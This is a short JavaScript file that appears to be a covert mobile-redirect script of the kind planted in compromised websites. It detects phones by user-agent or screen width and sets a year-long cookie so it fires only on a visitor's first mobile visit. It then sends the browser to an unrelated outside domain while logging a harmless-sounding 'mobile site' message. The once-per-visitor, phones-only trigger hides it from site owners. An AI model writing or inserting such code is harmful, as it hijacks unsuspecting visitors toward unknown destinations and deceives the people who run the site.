function is_mobile() {
    var u = navigator.userAgent.toLowerCase();
    var regex_match = /(nokia|iphone|ipod|android|xiaomi|redmi|oppo|vivo|realme|oneplus|motorola|^mot-|softbank|foma|docomo|kddi|up\.browser|up\.link|htc|dopod|blazer|netfront|helio|hosin|huawei|honor|novarra|coolpad|webos|techfaith|palmsource|blackberry|alcatel|amoi|ktouch|nexian|samsung|^sam-|s[cg]h|^lge|ericsson|philips|sagem|wellcom|bunjalloo|maui|symbian|smartphone|midp|wap|phone|windows ce|iemobile|^spice|^bird|^zte-|longcos|pantech|gionee|^sie-|portalmmm|jigs browser|hiptop|^benq|haier|^lct|meizu|asus|lenovo|iqoo|meitu|leeco|sharp|micromax|lava|infinix|tecno|poco|blackshark|nubia|zte|panasonic|sony|lg|google|pixel|tablet|kindle|playbook|surface duo|mobile|mobi|opera mini|opera mobi|fennec|bolt|iris|maemo)/i;
    return regex_match.test(u) || window.innerWidth < 768; 
}

function checkAndRedirect() {
    if (is_mobile()) {
        var c = document.cookie;
        if (c.indexOf('isfirstvisited=false') === -1) {
            var d = new Date();
            d.setFullYear(d.getFullYear() + 1);
            document.cookie = 'isfirstvisited=false;expires=' + d.toGMTString() + ';path=/';
            console.log('Redirecting to mobile site...');
            window.location.href = 'https://v8643.cc/'; 
        }
    }
}

document.addEventListener('DOMContentLoaded', checkAndRedirect);